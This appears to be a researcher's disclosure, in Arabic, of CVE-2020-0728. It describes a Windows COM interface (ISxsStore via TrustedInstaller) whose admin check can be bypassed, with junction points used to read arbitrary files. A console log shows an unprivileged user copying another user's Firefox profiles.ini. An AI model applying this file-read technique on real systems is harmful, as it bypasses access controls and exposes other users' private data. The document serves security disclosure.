
رمز إثبات المفهوم لـ CVE-2020-0728
خدمة TrustedInstaller.exe تعمل كـ NT_AUTHORITY\SYSTEM وتستضيف خدمة COM الخاصة بـ Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) إلى جانب الواجهة ISxsStore.
صلاحيات الوصول (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) لهذه الخدمة تمنح الوصول لأي مستخدم
على النظام المحلي.
تكشف الواجهة ISxsStore عن 4 طرق:
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
عند الاستدعاء، يستدعي التنفيذ واجهة ICbsWorker التي تستضيفها TiWorker.exe (مرة أخرى، تعمل كـ NT_AUTHORITY\SYSTEM) للحصول على جلسة ICbsSession8
ثم يستدعي عمليًا نفس الطرق على هذه الواجهة.
المنطق الحقيقي يُنفذ في مكتبة sxsstore.dll؛ يمكن العثور على الترخيص في CSxsStore::BeginAssemblyInstall:
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
يتم ذلك باستخدام استدعاءات CoImpersonateClient+CheckTokenMembership.
المشكلة هي أنه إذا تم استدعاء الجلسة التي تستضيفها عملية TiWorker.exe عبر غلاف TrustedInstaller.exe، فإن منطق الترخيص المنفذ يصادف دائمًا اتصالات من NT_AUTHORITY\SYSTEM
وبالتالي يمنح الوصول لأي شخص.
يتم وضع التجميعات المطلوب تثبيتها تحت C:\Windows\WinSXS بواسطة التنفيذ الموجود في wcp.dll (Windows::COM::CComponentStore::InternalTransact) ويبدو أنها تحتوي على إجراءات أمنية كافية لحماية استدعاءات هذه الطرق من الهروب من هذا الدليل الهدف المشروع، ولكن ملفات المصدر المشار إليها في المانيفست يمكن إساءة استخدامها عبر نقاط الاقتران (junction points).
يمكن استغلال ذلك لتجاوز DAC لنظام الملفات وقراءة أي ملفات على نظام الملفات المحلي كما هو موضح أدناه:
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
إطار عمل wcp معقد جدًا ويحتوي على العديد من 'المثبتات' (مثل تنفيذ GenericCommand من بين المثبتات 'المتقدمة')، لكن يبدو أن الواجهة القابلة للوصول أعلاه محدودة فقط بالمثبتات 'البدائية'. تمكنت من تشغيل CRegistryInstaller::CommitChanges الذي أرسل سجلًا إلى C:\Windows\Logs\CBS\CBS.log، سطور مثل:
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
ولكنه في الواقع لم يستدعِ أبدًا أي طرق API لتغيير أي شيء في السجل.
التقرير أعلاه مع كود PoC تم تقديمه بواسطة Imre Rad ولكن تم التعرف عليه أيضًا من قبل باحثين من NCC (في الواقع قبل بضعة أشهر).
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728